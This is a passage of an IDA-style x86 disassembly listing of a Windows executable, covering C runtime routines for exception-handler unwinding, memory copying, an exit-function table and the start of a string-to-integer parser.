		jmp	eax
sub_416082	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4160B6	proc near		; CODE XREF: sub_41A8FF+199p
					; sub_41AAC3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4160BD	proc near		; CODE XREF: sub_41A8FF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160C4	proc near		; CODE XREF: sub_416276+5Cp
					; sub_41A74E:loc_41A77Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160EC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind


loc_4160EC:				; DATA XREF: sub_4160C4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160C4	endp

; ---------------------------------------------------------------------------


loc_416113:				; CODE XREF: .nsp0:00420268j
					; .nsp0:00420285j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A353
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416149	proc near		; CODE XREF: sub_41A7C9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41619D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB50
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41619D	proc near		; DATA XREF: sub_416149+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		pop	ebp
		retn
sub_41619D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C2	proc near		; CODE XREF: sub_41A595+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416276
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416248
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_469514
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_416248:				; DATA XREF: sub_4161C2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416265
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41626E
; ---------------------------------------------------------------------------


loc_416265:				; CODE XREF: sub_4161C2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41626E:				; CODE XREF: sub_4161C2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416276	proc near		; DATA XREF: sub_4161C2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416299
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162E6
; ---------------------------------------------------------------------------


loc_416299:				; CODE XREF: sub_416276+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162D7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160C4


loc_4162D7:				; CODE XREF: sub_416276+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4162E6:				; CODE XREF: sub_416276+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162EB	proc near		; CODE XREF: sub_41A3EE+C6p
					; sub_41A595+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416342


loc_416309:				; CODE XREF: sub_4162EB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416313
		call	sub_41ABF2


loc_416313:				; CODE XREF: sub_4162EB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416328
		cmp	ecx, [eax+8]
		jle	short loc_41632D


loc_416328:				; CODE XREF: sub_4162EB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416339


loc_41632D:				; CODE XREF: sub_4162EB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_416339:				; CODE XREF: sub_4162EB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_416309
		mov	eax, [ebp+var_4]


loc_416342:				; CODE XREF: sub_4162EB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416356
		cmp	esi, eax
		jbe	short loc_41635B


loc_416356:				; CODE XREF: sub_4162EB+65j
		call	sub_41ABF2


loc_41635B:				; CODE XREF: sub_4162EB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162EB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416368	proc near		; CODE XREF: sub_41CE08+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416380
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind


loc_416380:				; DATA XREF: sub_416368+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_416388	proc near		; DATA XREF: sub_4163AA+Ao
					; sub_416412+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4163A9
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4163A9:				; CODE XREF: sub_416388+10j
		retn
sub_416388	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163AA	proc near		; CODE XREF: sub_41A86F+Dp
					; sub_41CE08+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416388
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4163C7:				; CODE XREF: sub_4163AA:loc_416402j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416404
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_416404
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_416402
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41643E
		call	dword ptr [ebx+esi*4+8]


loc_416402:				; CODE XREF: sub_4163AA+44j
		jmp	short loc_4163C7
; ---------------------------------------------------------------------------


loc_416404:				; CODE XREF: sub_4163AA+2Aj
					; sub_4163AA+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4163AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416412	proc near		; CODE XREF: sub_41A88F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416388
		jnz	short locret_416434
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416434
		mov	eax, 1

locret_416434:				; CODE XREF: sub_416412+10j
					; sub_416412+1Bj
		retn
sub_416412	endp


; =============== S U B	R O U T	I N E =======================================



sub_416435	proc near		; CODE XREF: sub_41AB50+1Ep
					; sub_41AB50+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D4C
		jmp	short loc_416448
sub_416435	endp


; =============== S U B	R O U T	I N E =======================================



sub_41643E	proc near		; CODE XREF: sub_4163AA+4Fp
					; sub_41CE08+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D4C
		mov	ecx, [ebp+8]


loc_416448:				; CODE XREF: sub_416435+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41643E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416458	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416458	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416477	proc near		; CODE XREF: sub_404D21+26p
					; .nsp0:0041FEE5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E3D
		pop	ecx
		retn
sub_416477	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416490	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B28+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4164B0
		cmp	edi, eax
		jb	loc_416628


loc_4164B0:				; CODE XREF: sub_416490+16j
		test	edi, 3
		jnz	short loc_4164CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------


loc_4164CC:				; CODE XREF: sub_416490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4164E4:				; CODE XREF: sub_416490+46j
		jmp	dword ptr loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164EC:				; CODE XREF: sub_416490+31j
					; sub_416490+8Ej ...
		jmp	off_41656C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_416500
		dd offset loc_41652C
		dd offset loc_416550
; ---------------------------------------------------------------------------


loc_416500:				; DATA XREF: sub_416490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41652C:				; DATA XREF: sub_416490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416550:				; DATA XREF: sub_416490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41656C	dd offset loc_4165CF	; DATA XREF: sub_416490:loc_4164ECr
		dd offset loc_4165BC
		dd offset loc_4165B4
		dd offset loc_4165AC
		dd offset loc_4165A4
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
; ---------------------------------------------------------------------------


loc_41658C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416594:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41659C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4165A4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4165AC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4165B4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4165BC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165CF:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490:off_41656Co
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165D8	dd offset loc_4165E8	; DATA XREF: sub_416490+35r
					; sub_416490+92r ...
		dd offset loc_4165F0
		dd offset loc_4165FC
		dd offset loc_416610
; ---------------------------------------------------------------------------


loc_4165E8:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4165F0:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4165FC:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_416610:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416628:				; CODE XREF: sub_416490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41665C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416650:				; CODE XREF: sub_416490+1B1j
					; sub_416490+208j ...
		neg	ecx
		jmp	off_416720[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41665C:				; CODE XREF: sub_416490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416674+4[eax*4]
; ---------------------------------------------------------------------------


loc_416674:				; CODE XREF: sub_416490+1D6j
					; DATA XREF: sub_416490+1DDr
		jmp	off_416770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], ah
		add	[eax-2FFFBE9Ah], ch
		inc	cx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
		dd offset loc_41673C
		dd offset loc_416744
		dd offset loc_41674C
		dd offset loc_416754
off_416720	dd offset loc_416767	; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------


loc_416724:				; DATA XREF: sub_416490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41672C:				; DATA XREF: sub_416490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_416734:				; DATA XREF: sub_416490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41673C:				; DATA XREF: sub_416490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_416744:				; DATA XREF: sub_416490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41674C:				; DATA XREF: sub_416490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_416754:				; DATA XREF: sub_416490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_416767:				; CODE XREF: sub_416490+1C2j
					; DATA XREF: sub_416490:off_416720o
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416770	dd offset loc_416780	; DATA XREF: sub_416490+1B7r
					; sub_416490:loc_416674r ...
		dd offset loc_416788
		dd offset loc_416798
		dd offset loc_4167AC
; ---------------------------------------------------------------------------


loc_416780:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416788:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416798:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4167AC:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167C5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_4167C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D3	proc near		; CODE XREF: sub_416840+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_46AB14
		call	sub_41AC48
		mov	edx, dword_46AB14
		pop	ecx
		mov	ecx, dword_46AB10
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416832
		push	edx
		call	sub_41AC48
		add	eax, 10h
		push	eax
		push	dword_46AB14
		call	sub_4174DF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416815
		retn
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_4167D3+3Fj
		mov	ecx, dword_46AB10
		sub	ecx, dword_46AB14
		mov	dword_46AB14, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_46AB10, ecx


loc_416832:				; CODE XREF: sub_4167D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_46AB10, 4
		retn
sub_4167D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416840	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416840	endp


; =============== S U B	R O U T	I N E =======================================



sub_416852	proc near		; DATA XREF: .nsp0:00423018o
		push	80h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	dword_46AB14, eax
		jnz	short loc_416873
		push	18h
		call	sub_417BEE
		mov	eax, dword_46AB14
		pop	ecx


loc_416873:				; CODE XREF: sub_416852+12j
		and	dword ptr [eax], 0
		mov	eax, dword_46AB14
		mov	dword_46AB10, eax
		retn
sub_416852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416881	proc near		; CODE XREF: sub_416A89+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416899:				; CODE XREF: sub_416881+46j
		cmp	dword_437F7C, 1
		jle	short loc_4168B1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4168C0
; ---------------------------------------------------------------------------


loc_4168B1:				; CODE XREF: sub_416881+1Fj
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4168C0:				; CODE XREF: sub_416881+2Ej
		test	eax, eax
		jz	short loc_4168C9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416899
; ---------------------------------------------------------------------------


loc_4168C9:				; CODE XREF: sub_416881+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168D7
		or	[ebp+arg_C], 2
		jmp	short loc_4168DC
; ---------------------------------------------------------------------------


loc_4168D7:				; CODE XREF: sub_416881+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168E2


loc_4168DC:				; CODE XREF: sub_416881+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4168E2:				; CODE XREF: sub_416881+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A79
		cmp	eax, 1
		jz	loc_416A79
		cmp	eax, 24h
		jg	loc_416A79
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41692A
		cmp	bl, 30h
		jz	short loc_416914
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416946
; ---------------------------------------------------------------------------


loc_416914:				; CODE XREF: sub_416881+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416927
		cmp	al, 58h
		jz	short loc_416927
		mov	[ebp+arg_8], 8
		jmp	short loc_416946
; ---------------------------------------------------------------------------


loc_416927:				; CODE XREF: sub_416881+97j
					; sub_416881+9Bj
		mov	[ebp+arg_8], ecx


loc_41692A:				; CODE XREF: sub_416881+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416946
		cmp	bl, 30h
		jnz	short loc_416946
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41693E
		cmp	al, 58h
		jnz	short loc_416946


